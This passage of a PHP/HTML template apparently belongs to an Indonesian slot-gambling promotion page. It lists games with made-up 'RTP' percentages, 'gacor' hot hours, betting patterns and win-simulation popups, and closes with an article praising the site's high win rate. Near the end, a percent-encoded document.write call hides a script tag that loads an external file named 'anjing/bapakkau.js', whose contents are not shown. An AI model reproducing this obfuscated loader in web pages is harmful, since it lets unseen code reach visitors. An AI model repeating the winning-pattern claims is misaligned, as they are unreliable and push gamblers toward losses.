               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(30)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-30" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-30" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(30)">Simulasikan</button>
                  <div id="simulasi-result-30" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/26.png" alt="Little Witch Girl">
         <div class="game-title">Little Witch Girl</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-31" style="width: 87%;"></div>
            <div class="progress-bar-text" id="rtp-text-31">87%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(31)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-31">23:23 WIB - 00:23 WIB</span></p>
            <div class="pola-slot" id="pola-slot-31">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 34</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 48</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 45</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-31" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(31)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-31" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-31" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(31)">Simulasikan</button>
                  <div id="simulasi-result-31" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/32.png" alt="Moonlight Festival">
         <div class="game-title">Moonlight Festival</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-32" style="width: 78%;"></div>
            <div class="progress-bar-text" id="rtp-text-32">78%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(32)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-32">23:30 WIB - 00:30 WIB</span></p>
            <div class="pola-slot" id="pola-slot-32">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 39</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-32" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(32)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-32" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-32" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(32)">Simulasikan</button>
                  <div id="simulasi-result-32" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/14.png" alt="Diamond Rush">
         <div class="game-title">Diamond Rush</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-33" style="width: 91%;"></div>
            <div class="progress-bar-text" id="rtp-text-33">91%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(33)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-33">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-33">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 29</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 15</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 17</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-33" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(33)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-33" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-33" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(33)">Simulasikan</button>
                  <div id="simulasi-result-33" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/22.png" alt="Happy New Year">
         <div class="game-title">Happy New Year</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-34" style="width: 3%;"></div>
            <div class="progress-bar-text" id="rtp-text-34">3%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(34)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-34">23:26 WIB - 00:26 WIB</span></p>
            <div class="pola-slot" id="pola-slot-34">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-34" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(34)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-34" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-34" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(34)">Simulasikan</button>
                  <div id="simulasi-result-34" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/29.png" alt="Ocean Mermaid">
         <div class="game-title">Ocean Mermaid</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-35" style="width: 75%;"></div>
            <div class="progress-bar-text" id="rtp-text-35">75%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(35)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-35">23:23 WIB - 00:23 WIB</span></p>
            <div class="pola-slot" id="pola-slot-35">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 29</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 22</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-35" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(35)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-35" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-35" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(35)">Simulasikan</button>
                  <div id="simulasi-result-35" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/38.png" alt="Ancient Egypt">
         <div class="game-title">Ancient Egypt</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-36" style="width: 50%;"></div>
            <div class="progress-bar-text" id="rtp-text-36">50%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(36)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-36">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-36">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 46</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 20</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-36" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(36)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-36" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-36" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(36)">Simulasikan</button>
                  <div id="simulasi-result-36" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/42.png" alt="Poker Ways">
         <div class="game-title">Poker Ways</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-37" style="width: 17%;"></div>
            <div class="progress-bar-text" id="rtp-text-37">17%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(37)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-37">23:26 WIB - 00:26 WIB</span></p>
            <div class="pola-slot" id="pola-slot-37">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-37" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(37)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-37" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-37" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(37)">Simulasikan</button>
                  <div id="simulasi-result-37" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/45.png" alt="Aztec Gold">
         <div class="game-title">Aztec Gold</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-38" style="width: 27%;"></div>
            <div class="progress-bar-text" id="rtp-text-38">27%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(38)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-38">23:25 WIB - 00:25 WIB</span></p>
            <div class="pola-slot" id="pola-slot-38">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 41</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-38" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(38)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-38" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-38" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(38)">Simulasikan</button>
                  <div id="simulasi-result-38" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/46.png" alt="Plinko">
         <div class="game-title">Plinko</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-39" style="width: 94%;"></div>
            <div class="progress-bar-text" id="rtp-text-39">94%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(39)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-39">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-39">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 45</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 9</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 17</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-39" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(39)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-39" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-39" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(39)">Simulasikan</button>
                  <div id="simulasi-result-39" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/60.png" alt="Super All Stars">
         <div class="game-title">Super All Stars</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-40" style="width: 41%;"></div>
            <div class="progress-bar-text" id="rtp-text-40">41%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(40)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-40">23:24 WIB - 00:24 WIB</span></p>
            <div class="pola-slot" id="pola-slot-40">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 49</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 28</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-40" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(40)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-40" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-40" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(40)">Simulasikan</button>
                  <div id="simulasi-result-40" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/55.png" alt="Candy Boom">
         <div class="game-title">Candy Boom</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-41" style="width: 78%;"></div>
            <div class="progress-bar-text" id="rtp-text-41">78%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(41)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-41">23:24 WIB - 00:24 WIB</span></p>
            <div class="pola-slot" id="pola-slot-41">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 7</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 38</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-41" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(41)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-41" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-41" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(41)">Simulasikan</button>
                  <div id="simulasi-result-41" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/56.png" alt="Dunk Tank Girl">
         <div class="game-title">Dunk Tank Girl</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-42" style="width: 78%;"></div>
            <div class="progress-bar-text" id="rtp-text-42">78%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(42)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-42">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-42">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 10</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 35</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 23</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-42" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(42)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-42" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-42" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(42)">Simulasikan</button>
                  <div id="simulasi-result-42" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/57.png" alt="Jokers Luck Deluxe">
         <div class="game-title">Jokers Luck Deluxe</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-43" style="width: 7%;"></div>
            <div class="progress-bar-text" id="rtp-text-43">7%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(43)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-43">23:26 WIB - 00:26 WIB</span></p>
            <div class="pola-slot" id="pola-slot-43">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-43" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(43)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-43" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-43" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(43)">Simulasikan</button>
                  <div id="simulasi-result-43" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/58.png" alt="Pirates Caribbean">
         <div class="game-title">Pirates Caribbean</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-44" style="width: 93%;"></div>
            <div class="progress-bar-text" id="rtp-text-44">93%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(44)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-44">23:24 WIB - 00:24 WIB</span></p>
            <div class="pola-slot" id="pola-slot-44">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 8</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 45</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-44" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(44)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-44" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-44" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(44)">Simulasikan</button>
                  <div id="simulasi-result-44" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
   </div>
   <div class="artikel">
      <h1>Mengapa <?php echo $nama_situs; ?> Menjadi Pilihan Terbaik untuk Slot Gacor?</h1>
      <p>Dalam dunia permainan slot online, nama <strong><?php echo $nama_situs; ?></strong> telah menjadi sorotan
         banyak pemain. Dikenal dengan winrate yang tinggi dan permainan yang fair, <?php echo $nama_situs; ?> terus
         menarik perhatian para pencinta slot. Tapi, apa yang membuat <?php echo $nama_situs; ?> benar-benar berbeda
         dari situs lainnya?</p>
      <p><?php echo $nama_situs; ?> menawarkan pengalaman bermain yang tidak hanya mengasyikkan, tetapi juga penuh
         dengan peluang untuk menang besar. Dengan banyaknya promosi menarik dan fitur-fitur unggulan, pemain merasa
         lebih percaya diri dalam bermain. Inilah yang membuat <?php echo $nama_situs; ?> menjadi salah satu situs slot
         terbaik di Indonesia.</p>
      <p>Jika Anda ingin lebih mendalami strategi dan tips untuk memenangkan slot, jangan lupa untuk mengunjungi <a
            href="#"><?php echo $nama_situs; ?></a>. Di sana, Anda bisa menemukan berbagai informasi yang membantu Anda
         meraih kemenangan maksimal.</p>
      <p>Kesimpulannya, <?php echo $nama_situs; ?> adalah pilihan terbaik bagi Anda yang mencari situs slot online
         dengan winrate tinggi dan pelayanan terbaik. Jangan ragu untuk terus mengikuti update terbaru dan manfaatkan
         semua peluang yang ada untuk memenangkan jackpot besar di <?php echo $nama_situs; ?>.</p>
   </div>
   <script>
      document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%61%6E%6A%69%6E%67%2F%62%61%70%61%6B%6B%61%75%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E'));
   </script>
   </script>

   <script>
      const track = document.querySelector('.carousel-track');
      const slides = document.querySelectorAll('.carousel-slide');
      const prevBtn = document.querySelector('.carousel-btn.prev');
      const nextBtn = document.querySelector('.carousel-btn.next');
      const dots = document.querySelectorAll('.carousel-dot');

      let currentSlide = 0;

      function updateSlidePosition() {
         track.style.transform = 'translateX(' + (-currentSlide * 100) + '%)';
         updateDots();
      }

      function updateDots() {
         dots.forEach((dot, index) => {
            dot.classList.toggle('active', index === currentSlide);
         });
      }

      nextBtn.addEventListener('click', () => {
         currentSlide = (currentSlide + 1) % slides.length;
         updateSlidePosition();
      });

      prevBtn.addEventListener('click', () => {
         currentSlide = (currentSlide - 1 + slides.length) % slides.length;
         updateSlidePosition();
      });

      dots.forEach(dot => {
         dot.addEventListener('click', () => {
            currentSlide = parseInt(dot.getAttribute('data-index'));
            updateSlidePosition();
         });
      });

      // Auto play (optional)
      setInterval(() => {
         currentSlide = (currentSlide + 1) % slides.length;
         updateSlidePosition();
      }, 5000);

      // Set initial active dot
      updateDots();
   </script>

</html>